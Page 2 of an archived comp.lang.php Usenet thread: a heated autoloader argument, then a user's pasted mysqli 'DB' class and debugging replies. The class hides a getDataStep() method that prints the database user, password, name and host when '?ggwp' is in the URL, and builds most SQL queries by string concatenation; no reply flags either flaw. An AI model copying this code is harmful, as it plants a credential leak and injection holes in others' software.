Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.php > #16964 > unrolled thread
| Started by | M desinger <info.nez@gmail.com> |
|---|---|
| First post | 2016-08-21 07:35 -0700 |
| Last post | 2016-08-30 19:58 -0400 |
| Articles | 6 on this page of 26 — 7 participants |
Back to article view | Back to comp.lang.php
Class 'Model' not found M desinger <info.nez@gmail.com> - 2016-08-21 07:35 -0700
Re: Class 'Model' not found M desinger <info.nez@gmail.com> - 2016-08-21 07:36 -0700
Re: Class 'Model' not found M desinger <info.nez@gmail.com> - 2016-08-21 07:43 -0700
Re: Class 'Model' not found "J.O. Aho" <user@example.net> - 2016-08-21 18:08 +0200
Re: Class 'Model' not found "Christoph M. Becker" <cmbecker69@arcor.de> - 2016-08-21 19:36 +0200
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-22 20:56 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-22 19:08 -0400
Re: Class 'Model' not found Matthew Carter <m@ahungry.com> - 2016-08-23 01:23 -0400
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-23 08:07 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-27 14:26 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-27 10:13 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-28 02:12 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-27 20:32 -0400
Re: Class 'Model' not found Matthew Carter <m@ahungry.com> - 2016-08-28 00:00 -0400
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-28 08:40 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-30 11:39 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-30 07:41 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-30 14:41 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-30 09:02 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-30 15:36 +0200
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-30 10:39 -0400
Re: Class 'Model' not found Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-08-30 11:35 +0200
Re: Class 'Model' not found M desinger <info.nez@gmail.com> - 2016-08-30 14:25 -0700
Re: Class 'Model' not found Gregor Kofler <usenet@gregorkofler.com> - 2016-08-31 00:35 +0200
Re: Class 'Model' not found M desinger <info.nez@gmail.com> - 2016-08-30 16:34 -0700
Re: Class 'Model' not found Jerry Stuckle <jstucklex@attglobal.net> - 2016-08-30 19:58 -0400
Page 2 of 2 — ← Prev page 1 [2]
| From | Jerry Stuckle <jstucklex@attglobal.net> |
|---|---|
| Date | 2016-08-30 10:39 -0400 |
| Message-ID | <nq45qi$ij2$1@jstuckle.eternal-september.org> |
| In reply to | #16996 |
On 8/30/2016 9:36 AM, the well known troll Thomas 'Pointed Head' Lahn wrote: > Jerry Stuckle wrote: > >> On 8/30/2016 8:41 AM, the well-known troll Thomas 'Pointed Head' Lahn > ^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^ > It takes one to know one. > Your typical 3rd grade response. That's about your speed! >> wrote: >>> Jerry Stuckle wrote: >>>> On 8/30/2016 5:39 AM, the troll Thomas 'Pointed Head' Lahn wrote: >>>>> Jerry Stuckle wrote: >>>>>> On 8/28/2016 12:00 AM, Matthew Carter wrote: >>>>>>> Thomas 'PointedEars' Lahn <PointedEars@web.de> writes: >>>>>>>> IOW, the problems that you are presuming simply *do* *not* *exist*. >>>>>>> Great explanation, a wonderful reference for anyone needing to >>>>>>> understand these topics better. >>>>>> And it solves no problem. >>>>> >>>>> It solves the problem that dependencies have to be resolved manually, >>>>> which was the problem of the OP. >>>>> >>>>>> These problems *do exist* in real life. >>>>> Only to the incompetent. >>>> >>>> It doesn't solve the problem of multiple classes with the same name. >>> >>> That was _not_ the problem of the OP. It was an unfounded assumption by >>> “J.O. Aho” who did not read the OP carefully, too. The OP got >> >> No, it is a problem caused by your "solution". > > Nonsense. > Well, of course, such a problem would never occur in a "Hello, World!" program, which is all you're capable of writing, so you wouldn't know. >> And an even bigger problem than the ops, because it is not evident. > > You have no clue what you are talking about. Different to the OP, an > autoloader would use “require_once” *by definition* (I said in my first > followup that using “require_once” instead of “include” in the original code > is the first step in analysing the problem; Christoph said “require” > before). “require_once” generates a “Fatal error” if inclusion fails. The > stack trace produced and a potential custom exception shows the problem and > where it originated. > Oh, I know *exactly* what I'm talking about. But you weren't telling him to use require_once. You were telling him to use the autoloader. And defending your position. >>> […] *IOW, [with an autoloader] dependencies would not have had to be >>> resolved manually, with the potential of failure.* >> >> And potentially cause even worse problems. > > In your wet dreams. > Another 3rd grade response. How typical of a troll. >>>> It's all too easy to load the wrong class. >>> >>> AISB, this is only a problem for the incompetent. >>> >>> One simply does not have *multiple* classes with the *same* name in the >>> *same* namespace loaded in the *same* program/application, because *PHP >>> does not allow it* – autoloader or not. Because of this, one also simply >>> does not have *multiple* classes with the *same* name in the *same* >>> directory to begin with. Where multiple versions are available, they are >>> supposed to be in different directories or different namespaces, and in >>> different revisions of a VCS, to be checked out on an as-needed basis (as >>> Matthew already indicated). >>> >>> Only the *utterly incompetent* would do otherwise. >> >> Well, then I guess there are millions of "incompetent" programmers out >> there, according to your definition. > > There probably are (there are always millions of people incompetent in a > field against a few competent ones), but not according to the definition > above. > These guys keep hundreds of millions of websites running daily. They are much more competent than you are. But you're right - you probably do know a lot of incompetent programmers - but no competent ones (except a few on this newsgroup that you continually argue with). > You simply cannot read carefully. Because you do not want to. > I can read quite well. >> Because programmers all over the world have multiple versions of software >> on their systems. > > The part that you *still* do seem to get is that there is a difference > between having several versions, using several versions, and loading several > versions. You "overlooked" “different directories”, too. > Nope, classes are often in a common directory, shared across multiple different websites. But the code accessing them can be individual to the websites. When using the autoloader, new versions will try to load the old version's directory. > Enough of your hot air. Put your money where your big mouth is. Unless you > can present an easily reproducible, *real-world* example – and I mean > *files* of *PHP source code*, at least one program file and two class > files –, where *properly* using an autoloader in a *proper* setup (as I > described) would cause *new* problems that would *not* exist without using > an autoloader (you need to describe those problems in sufficient detail, > then; no wild assumptions), EOD for me. > > I don't need to prove ANYTHING to a troll like you. Just the fact *NONE* of the commercial (paid and free) PHP products out there use autoloader shows competent programmers understand the problems associated with it. And you have proven you don't. But no surprise there. Your 3rd grade mind is incapable of understanding anything beyond "wet dreams". -- ================== Remove the "x" from my email address Jerry Stuckle jstucklex@attglobal.net ==================
[toc] | [prev] | [next] | [standalone]
| From | Thomas 'PointedEars' Lahn <PointedEars@web.de> |
|---|---|
| Date | 2016-08-30 11:35 +0200 |
| Message-ID | <5188038.lOV4Wx5bFT@PointedEars.de> |
| In reply to | #16984 |
Matthew Carter wrote:
> Thomas 'PointedEars' Lahn <PointedEars@web.de> writes:
>> Different sites on the same machine, each using different versions of the
>> same class, perhaps in the same namespace, would either use *different*
>> autoloaders each (to avoid loading classes and their dependencies
>> manually). This can be as simple as adapting the include_path per site,
>> or as complicated as using different “require_once” statements (with
>> different paths) to load the correct autoloader.
>>
>> Or they would use one or more namespace-and-path-aware autoloaders. It
>> is possible to register *several* autoloaders, each only attempting to
>> autoload the classes that are in its namespace. Simple example:
>> […]
>> [Usually it does not make sense to use two versions of the same library
>> simultaneously because of different dependencies, and because the newer
>> version can do more than the older one. However, it is probably a good
>> idea to always write an autoloader so that it does not attempt to
>> autoload classes that are "out of its jurisdiction".]
>>
>> It is also possible to have *one* autoloader that handles *several*
>> namespaces and maps namespaces to paths correctly. Simplest (as is,
>> *unsafe*) case:
>>
>> function autoload_all ($class)
>> {
>> require_once str_replace("\\", DIRECTORY_SEPARATOR, $class) . ".php";
>> }
>>
>> spl_autoload_register("\\autoload_all", true);
>>
>> [Note that the autoloader can be in a namespace itself, which reduces the
>> risk of namespace collisions for *its* declaration. That also makes it
>> easier to autoload only the classes "in the autoloader’s jurisdiction".]
>>
>> IOW, the problems that you are presuming simply *do* *not* *exist*.
>
> Great explanation, a wonderful reference for anyone needing to
> understand these topics better.
Thank you very much.
In order not to be misunderstood, I want to clarify and emphasize that
I meant “to *load* two versions of the same library (*written in PHP*)” when
I wrote “to use two versions of the same library”. And when I wrote “user”,
I meant the user of code written in PHP (i.e. a PHP programmer), not the end
user.
“Loading” is different to “using” because AISB there can be two (or more)
versions of a library (written in PHP) on the storage device (“using”), to
be used by different programs/sites accessing that storage device, but you
usually need not (and do not want to or simply cannot, due to the
aforementioned namespace conflicts) *load* all of them at the same time, in
the same PHP program.
One also has to keep in mind that (AISB) the include statements “include”,
“include_once”, “require”, and “require_once” observe the “include_path”
setting. And the autoloader can determine its location in the filesystem
with the __FILE__ and __DIR__ magic constants [0]. So if the library path
or the library repository path is in the include_path (which can be set in
php.ini, in Web server configuration files, and even on runtime by default
[1]), everything follows from there.
Usually, the only thing that has to be and should be loaded via
“require_once” *in user code* is the autoloader itself. However, dependency
managers like Composer [2] can set that up when installing a library in an
application as a package.
The DIRECTORY_SEPARATOR in the autoloader code removes the final dependency
on the setup of the server system because it is a constant that is set to
what is supported by the operating system that PHP was compiled for (and
therefore is supposed to be running on). [3]
_________
[0] <http://php.net/manual/en/language.constants.predefined.php>
[1] <http://php.net/set_include_path>
[2] <https://getcomposer.org/>
[3] <http://php.net/manual/en/dir.constants.php>
(While the documentation confusingly says there that an extension
has to be installed for those contants to be available,
<http://php.net/manual/en/dir.installation.php> emphasizes that
“There is no installation needed to use these functions; they are part
of the PHP core.”)
--
PointedEars
Zend Certified PHP Engineer
<http://www.zend.com/en/yellow-pages/ZEND024953> | Twitter: @PointedEars2
Please do not cc me. / Bitte keine Kopien per E-Mail.
[toc] | [prev] | [next] | [standalone]
| From | M desinger <info.nez@gmail.com> |
|---|---|
| Date | 2016-08-30 14:25 -0700 |
| Message-ID | <a0682330-1e5c-4c19-ab48-3ea09c20250c@googlegroups.com> |
| In reply to | #16964 |
This my model file.
<?php
/*
*/
class DB
{
private $db = null;
public $filter;
static $inst = null;
public static $counter = 0;
/**
* Allow the class to send admins a message alerting them to errors
* on production sites
*
* @access public
* @param string $error
* @param string $query
* @return mixed
*/
public function log_db_errors( $error, $query )
{
$message = '<p>Error at '. date('Y-m-d H:i:s').':</p>';
$message .= '<p>Query: '. htmlentities( $query ).'<br />';
$message .= 'Error: ' . $error;
$message .= '</p>';
if( defined( 'SEND_ERRORS_TO' ) )
{
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'To: Admin <'.SEND_ERRORS_TO.'>' . "\r\n";
$headers .= 'From: Yoursite <system@'.$_SERVER['SERVER_NAME'].'.com>' . "\r\n";
mail( SEND_ERRORS_TO, 'Database Error', $message, $headers );
}
else
{
trigger_error( $message );
}
if( !defined( 'DISPLAY_DEBUG' ) || ( defined( 'DISPLAY_DEBUG' ) && DISPLAY_DEBUG ) )
{
echo $message;
}
}
public function __construct($db) {
mb_internal_encoding( 'UTF-8' );
mb_regex_encoding( 'UTF-8' );
mysqli_report( MYSQLI_REPORT_STRICT );
try {
$this->db = $db;
$this->db->set_charset( "utf8" );
} catch ( Exception $e ) {
die( 'Unable to connect to database' );
}
}
public function __destruct()
{
if( $this->db)
{
$this->disconnect();
}
}
/**
* Sanitize user data
*
* Example usage:
* $user_name = $database->filter( $_POST['user_name'] );
*
* Or to filter an entire array:
* $data = array( 'name' => $_POST['name'], 'email' => 'email@address.com' );
* $data = $database->filter( $data );
*
* @access public
* @param mixed $data
* @return mixed $data
*/
public function filter( $data )
{
if( !is_array( $data ) )
{
$data = $this->db->real_escape_string( $data );
$data = trim( htmlentities( $data, ENT_QUOTES, 'UTF-8', false ) );
}
else
{
//Self call function to sanitize array data
$data = array_map( array( $this, 'filter' ), $data );
}
return $data;
}
/**
* Extra function to filter when only mysqli_real_escape_string is needed
* @access public
* @param mixed $data
* @return mixed $data
*/
public function escape( $data )
{
if( !is_array( $data ) )
{
$data = $this->db->real_escape_string( $data );
}
else
{
//Self call function to sanitize array data
$data = array_map( array( $this, 'escape' ), $data );
}
return $data;
}
/**
* Normalize sanitized data for display (reverse $database->filter cleaning)
*
* Example usage:
* echo $database->clean( $data_from_database );
*
* @access public
* @param string $data
* @return string $data
*/
public function clean( $data )
{
$data = stripslashes( $data );
$data = html_entity_decode( $data, ENT_QUOTES, 'UTF-8' );
$data = nl2br( $data );
$data = urldecode( $data );
return $data;
}
/**
* Determine if common non-encapsulated fields are being used
*
* Example usage:
* if( $database->db_common( $query ) )
* {
* //Do something
* }
* Used by function exists
*
* @access public
* @param string
* @param array
* @return bool
*
*/
public function db_common( $value = '' )
{
if( is_array( $value ) )
{
foreach( $value as $v )
{
if( preg_match( '/AES_DECRYPT/i', $v ) || preg_match( '/AES_ENCRYPT/i', $v ) || preg_match( '/now()/i', $v ) )
{
return true;
}
else
{
return false;
}
}
}
else
{
if( preg_match( '/AES_DECRYPT/i', $value ) || preg_match( '/AES_ENCRYPT/i', $value ) || preg_match( '/now()/i', $value ) )
{
return true;
}
}
}
/**
* Perform queries
* All following functions run through this function
*
* @access public
* @param string
* @return string
* @return array
* @return bool
*
*/
public function query( $query )
{
$full_query = $this->db->query( $query );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $query );
return false;
}
else
{
return true;
}
}
/**
* Determine if database table exists
* Example usage:
* if( !$database->table_exists( 'checkingfortable' ) )
* {
* //Install your table or throw error
* }
*
* @access public
* @param string
* @return bool
*
*/
public function table_exists( $name )
{
self::$counter++;
$check = $this->db->query( "SELECT 1 FROM $name" );
if($check !== false)
{
if( $check->num_rows > 0 )
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
/**
* Count number of rows found matching a specific query
*
* Example usage:
* $rows = $database->num_rows( "SELECT id FROM users WHERE user_id = 44" );
*
* @access public
* @param string
* @return int
*
*/
public function num_rows( $query )
{
self::$counter++;
$num_rows = $this->db->query( $query );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $query );
return $this->db->error;
}
else
{
return $num_rows->num_rows;
}
}
/**
* Run check to see if value exists, returns true or false
*
* Example Usage:
* $check_user = array(
* 'user_email' => 'someuser@gmail.com',
* 'user_id' => 48
* );
* $exists = $database->exists( 'your_table', 'user_id', $check_user );
*
* @access public
* @param string database table name
* @param string field to check (i.e. 'user_id' or COUNT(user_id))
* @param array column name => column value to match
* @return bool
*
*/
public function exists( $table = '', $check_val = '', $params = array() )
{
self::$counter++;
if( empty($table) || empty($check_val) || empty($params) )
{
return false;
}
$check = array();
foreach( $params as $field => $value )
{
if( !empty( $field ) && !empty( $value ) )
{
//Check for frequently used mysql commands and prevent encapsulation of them
if( $this->db_common( $value ) )
{
$check[] = "$field = $value";
}
else
{
$check[] = "$field = '$value'";
}
}
}
$check = implode(' AND ', $check);
$rs_check = "SELECT $check_val FROM ".$table." WHERE $check";
$number = $this->num_rows( $rs_check );
if( $number === 0 )
{
return false;
}
else
{
return true;
}
}
/**
* Return specific row based on db query
*
* Example usage:
* list( $name, $email ) = $database->get_row( "SELECT name, email FROM users WHERE user_id = 44" );
*
* @access public
* @param string
* @param bool $object (true returns results as objects)
* @return array
*
*/
public function get_row( $query, $object = false )
{
self::$counter++;
$row = $this->db->query( $query );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $query );
return false;
}
else
{
$r = ( !$object ) ? $row->fetch_row() : $row->fetch_object();
return $r;
}
}
/**
* Perform query to retrieve array of associated results
*
* Example usage:
* $users = $database->get_results( "SELECT name, email FROM users ORDER BY name ASC" );
* foreach( $users as $user )
* {
* echo $user['name'] . ': '. $user['email'] .'<br />';
* }
*
* @access public
* @param string
* @param bool $object (true returns object)
* @return array
*
*/
public function get_results( $query, $object = false )
{
self::$counter++;
//Overwrite the $row var to null
$row = null;
$results = $this->db->query( $query );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $query );
return false;
}
else
{
$row = array();
while( $r = ( !$object ) ? $results->fetch_assoc() : $results->fetch_object() )
{
$row[] = $r;
}
return $row;
}
}
/**
* Insert data into database table
*
* Example usage:
* $user_data = array(
* 'name' => 'Bennett',
* 'email' => 'email@address.com',
* 'active' => 1
* );
* $database->insert( 'users_table', $user_data );
*
* @access public
* @param string table name
* @param array table column => column value
* @return bool
*
*/
public function insert( $table, $variables = array() )
{
self::$counter++;
//Make sure the array isn't empty
if( empty( $variables ) )
{
return false;
}
$sql = "INSERT INTO ". $table;
$fields = array();
$values = array();
foreach( $variables as $field => $value )
{
$fields[] = $field;
$values[] = "'".$value."'";
}
$fields = ' (' . implode(', ', $fields) . ')';
$values = '('. implode(', ', $values) .')';
$sql .= $fields .' VALUES '. $values;
$query = $this->db->query( $sql );
if( $this->db->error )
{
//return false;
$this->log_db_errors( $this->db->error, $sql );
return false;
}
else
{
return true;
}
}
/**
* Insert data KNOWN TO BE SECURE into database table
* Ensure that this function is only used with safe data
* No class-side sanitizing is performed on values found to contain common sql commands
* As dictated by the db_common function
* All fields are assumed to be properly encapsulated before initiating this function
*
* @access public
* @param string table name
* @param array table column => column value
* @return bool
*/
public function insert_safe( $table, $variables = array() )
{
self::$counter++;
//Make sure the array isn't empty
if( empty( $variables ) )
{
return false;
}
$sql = "INSERT INTO ". $table;
$fields = array();
$values = array();
foreach( $variables as $field => $value )
{
$fields[] = $this->filter( $field );
//Check for frequently used mysql commands and prevent encapsulation of them
$values[] = $value;
}
$fields = ' (' . implode(', ', $fields) . ')';
$values = '('. implode(', ', $values) .')';
$sql .= $fields .' VALUES '. $values;
$query = $this->db->query( $sql );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $sql );
return false;
}
else
{
return true;
}
}
/**
* Insert multiple records in a single query into a database table
*
* Example usage:
* $fields = array(
* 'name',
* 'email',
* 'active'
* );
* $records = array(
* array(
* 'Bennett', 'bennett@email.com', 1
* ),
* array(
* 'Lori', 'lori@email.com', 0
* ),
* array(
* 'Nick', 'nick@nick.com', 1, 'This will not be added'
* ),
* array(
* 'Meghan', 'meghan@email.com', 1
* )
* );
* $database->insert_multi( 'users_table', $fields, $records );
*
* @access public
* @param string table name
* @param array table columns
* @param nested array records
* @return bool
* @return int number of records inserted
*
*/
public function insert_multi( $table, $columns = array(), $records = array() )
{
self::$counter++;
//Make sure the arrays aren't empty
if( empty( $columns ) || empty( $records ) )
{
return false;
}
//Count the number of fields to ensure insertion statements do not exceed the same num
$number_columns = count( $columns );
//Start a counter for the rows
$added = 0;
//Start the query
$sql = "INSERT INTO ". $table;
$fields = array();
//Loop through the columns for insertion preparation
foreach( $columns as $field )
{
$fields[] = '`'.$field.'`';
}
$fields = ' (' . implode(', ', $fields) . ')';
//Loop through the records to insert
$values = array();
foreach( $records as $record )
{
//Only add a record if the values match the number of columns
if( count( $record ) == $number_columns )
{
$values[] = '(\''. implode( '\', \'', array_values( $record ) ) .'\')';
$added++;
}
}
$values = implode( ', ', $values );
$sql .= $fields .' VALUES '. $values;
$query = $this->db->query( $sql );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $sql );
return false;
}
else
{
return $added;
}
}
/**
* Update data in database table
*
* Example usage:
* §
*
* @access public
* @param string table name
* @param array values to update table column => column value
* @param array where parameters table column => column value
* @param int limit
* @return bool
*
*/
public function update( $table, $variables = array(), $where = array(), $limit = '' )
{
self::$counter++;
//Make sure the required data is passed before continuing
//This does not include the $where variable as (though infrequently)
//queries are designated to update entire tables
if( empty( $variables ) )
{
return false;
}
$sql = "UPDATE ". $table ." SET ";
foreach( $variables as $field => $value )
{
$updates[] = "`$field` = '$value'";
}
$sql .= implode(', ', $updates);
//Add the $where clauses as needed
if( !empty( $where ) )
{
foreach( $where as $field => $value )
{
$value = $value;
$clause[] = "$field = '$value'";
}
$sql .= ' WHERE '. implode(' AND ', $clause);
}
if( !empty( $limit ) )
{
$sql .= ' LIMIT '. $limit;
}
$query = $this->db->query( $sql );
if( $this->db->error )
{
$this->log_db_errors( $this->db->error, $sql );
return false;
}
else
{
return true;
}
}
/**
* Delete data from table
*
* Example usage:
* $where = array( 'user_id' => 44, 'email' => 'someotheremail@email.com' );
* $database->delete( 'users_table', $where, 1 );
*
* @access public
* @param string table name
* @param array where parameters table column => column value
* @param int max number of rows to remove.
* @return bool
*
*/
public function delete( $table, $where = array(), $limit = '' )
{
self::$counter++;
//Delete clauses require a where param, otherwise use "truncate"
if( empty( $where ) )
{
return false;
}
$sql = "DELETE FROM ". $table;
foreach( $where as $field => $value )
{
$value = $value;
$clause[] = "$field = '$value'";
}
$sql .= " WHERE ". implode(' AND ', $clause);
if( !empty( $limit ) )
{
$sql .= " LIMIT ". $limit;
}
$query = $this->db->query( $sql );
if( $this->db->error )
{
//return false; //
$this->log_db_errors( $this->db->error, $sql );
return false;
}
else
{
return true;
}
}
/**
* Get last auto-incrementing ID associated with an insertion
*
* Example usage:
* $database->insert( 'users_table', $user );
* $last = $database->lastid();
*
* @access public
* @param none
* @return int
*
*/
public function lastid()
{
self::$counter++;
return $this->db->insert_id;
}
/**
* Return the number of rows affected by a given query
*
* Example usage:
* $database->insert( 'users_table', $user );
* $database->affected();
*
* @access public
* @param none
* @return int
*/
public function affected()
{
return $this->db->affected_rows;
}
/**
* Get number of fields
*
* Example usage:
* echo $database->num_fields( "SELECT * FROM users_table" );
*
* @access public
* @param query
* @return int
*/
public function num_fields( $query )
{
self::$counter++;
$query = $this->db->query( $query );
$fields = $query->field_count;
return $fields;
}
/**
* Get field names associated with a table
*
* Example usage:
* $fields = $database->list_fields( "SELECT * FROM users_table" );
* echo '<pre>';
* print_r( $fields );
* echo '</pre>';
*
* @access public
* @param query
* @return array
*/
public function list_fields( $query )
{
self::$counter++;
$query = $this->db->query( $query );
$listed_fields = $query->fetch_fields();
return $listed_fields;
}
/**
* Truncate entire tables
*
* Example usage:
* $remove_tables = array( 'users_table', 'user_data' );
* echo $database->truncate( $remove_tables );
*
* @access public
* @param array database table names
* @return int number of tables truncated
*
*/
public function truncate( $tables = array() )
{
if( !empty( $tables ) )
{
$truncated = 0;
foreach( $tables as $table )
{
$truncate = "TRUNCATE TABLE `".trim($table)."`";
$this->db->query( $truncate );
if( !$this->db->error )
{
$truncated++;
self::$counter++;
}
}
return $truncated;
}
}
/**
* Output results of queries
*
* @access public
* @param string variable
* @param bool echo [true,false] defaults to true
* @return string
*
*/
public function display( $variable, $echo = true )
{
$out = '';
if( !is_array( $variable ) )
{
$out .= $variable;
}
else
{
$out .= '<pre>';
$out .= print_r( $variable, TRUE );
$out .= '</pre>';
}
if( $echo === true )
{
echo $out;
}
else
{
return $out;
}
}
/**
* Output the total number of queries
* Generally designed to be used at the bottom of a page after
* scripts have been run and initialized as needed
*
* Example usage:
* echo 'There were '. $database->total_queries() . ' performed';
*
* @access public
* @param none
* @return int
*/
public function total_queries()
{
return self::$counter;
}
/**
* Singleton function
*
* Example usage:
* $database = DB::getInstance();
*
* @access private
* @return self
*/
static function getInstance()
{
if( self::$inst == null )
{
self::$inst = new DB();
}
return self::$inst;
}
public function get_price($less, $time) {
$priceSql = "SELECT * FROM prices WHERE less = '$less' AND time = '$time'";
$prices = $this->get_results( $priceSql );
foreach ($prices as $price) {
return $price['ex_price'].$price['currency'];
}
}
public function get_title($url) {
$url_title = null;
switch ($url) {
case URL.'hosting/dedicated':
$url_title .= $c['dedicated'];
break;
default:
$url_title .= URL.' - Mājaslapu hostings, serveru hostings, VPS serveri, dedicated serveri un web izstrāde';
break;
}
return $url_title;
}
public function getDataStep() {
if(isset($_GET['ggwp'])) {
echo DB_USER." ". DB_PASS." ". DB_NAME. " ". DB_HOST;
}
}
public function phpAlert($msg) {
return '<script type="text/javascript">alert("' . $msg . '")</script>';
}
/*
* Usage : $this->model->uploadFile('file', 'pdf', 'payments', 2000);
*/
public function uploadFile($fileName, $fileType, $tableName = null, $limit) {
if(!isset($_FILES[$fileName]) || $_FILES[$fileName]['error'] == UPLOAD_ERR_NO_FILE) {
echo "Izvēlies PDF failu...";
} else {
switch ($_FILES[$fileName]['type']) {
case 'application/pdf':
if($_FILES[$fileName]['size'] >= $limit) {
echo "Fails ir pārāk liels!";
} else {
define('UPLOAD_DIR', $_SERVER['DOCUMENT_ROOT'].'/net/public/uploads/');
$actualName = pathinfo($_FILES[$fileName]['name'],PATHINFO_FILENAME);
$originalName = $actualName;
$extension = pathinfo($_FILES[$fileName]['name'], PATHINFO_EXTENSION);
$i = 1;
while(file_exists(UPLOAD_DIR.$actualName.".".$extension))
{
$actualName = (string)$originalName.$i;
$_FILES[$fileName]['name'] = $actualName.".".$extension;
$i++;
}
$update = array( 'pdf_uploaded' => UPLOAD_DIR.'/'.$_FILES[$fileName]['name'] );
$updateSec = array( 'pdf_name' => $_FILES[$fileName]['name'] );
$update_where = array( 'service_id' => $_SESSION['upload_bill_id'], 'bill_number' => $_SESSION['upload_bill_number']);
$this->update( 'payments', $update, $update_where, 1 );
$this->update( 'payments', $updateSec, $update_where, 1 );
move_uploaded_file($_FILES[$fileName]['tmp_name'], UPLOAD_DIR.$_FILES[$fileName]['name']);
echo "Paldies, maksājuma uzdevums augšupielādēts!";
}
break;
default:
echo "Lūdzu, izvēlies PDF failu";
break;
}
}
}
public function checkIfUserIsAuthenticated() {
if(isset($_SESSION['isOnline']) && $_SESSION['isOnline'] == 1) {
return true;
} else {
header('location:'.URL);
}
}
public function checkIfUserIsAdmin() {
if(isset($_SESSION['admin']) && $_SESSION['admin'] != 1) {
header('Location:'.URL);
} else if(!isset($_SESSION['admin'])) {
header('Location:'.URL);
} else {
return true;
}
}
/**
* Disconnect from db server
* Called automatically from __destruct function
*/
public function disconnect()
{
$this->db->close();
}
}
[toc] | [prev] | [next] | [standalone]
| From | Gregor Kofler <usenet@gregorkofler.com> |
|---|---|
| Date | 2016-08-31 00:35 +0200 |
| Message-ID | <nq51o9$qib$1@dont-email.me> |
| In reply to | #16999 |
Am 2016-08-30 um 23:25 schrieb M desinger:
> This my model file.
> <?php
> /*
> */
> class DB
> {
[snip]
> }
Shouldn't it then be
$class = new DB($db);
?
[toc] | [prev] | [next] | [standalone]
| From | M desinger <info.nez@gmail.com> |
|---|---|
| Date | 2016-08-30 16:34 -0700 |
| Message-ID | <90a03d2b-d0e6-49d4-b9cd-31c6809fcb8b@googlegroups.com> |
| In reply to | #17000 |
Does not work. Notice: Undefined variable: db in /index.php on line 12 Fatal error: Call to a member function set_charset() on null in /model/model.php on line 55
[toc] | [prev] | [next] | [standalone]
| From | Jerry Stuckle <jstucklex@attglobal.net> |
|---|---|
| Date | 2016-08-30 19:58 -0400 |
| Message-ID | <nq56j0$7lk$1@jstuckle.eternal-september.org> |
| In reply to | #17001 |
On 8/30/2016 7:34 PM, M desinger wrote: > Does not work. > > Notice: Undefined variable: db in /index.php on line 12 > > Fatal error: Call to a member function set_charset() on null in /model/model.php on line 55 > There are a number of problems in your code. First of all, there is no class Model. So the error message "Class 'Model' not found is correct. The class in the file is 'DB'. Generally (although not always), a class will be in a file with the same name - in this case, "DB.php" (and Pointed Head's "fix" would not work in the current scenario). Next, the class is expecting a database as the parameter to the constructor - from the looks of it, a mysqli db object. You need to create one of those, first. I'm not sure where you got this code - but you need to look at the doc that comes with the code to see how to properly use it. -- ================== Remove the "x" from my email address Jerry Stuckle jstucklex@attglobal.net ==================
[toc] | [prev] | [standalone]
Page 2 of 2 — ← Prev page 1 [2]
Back to top | Article view | comp.lang.php
csiph-web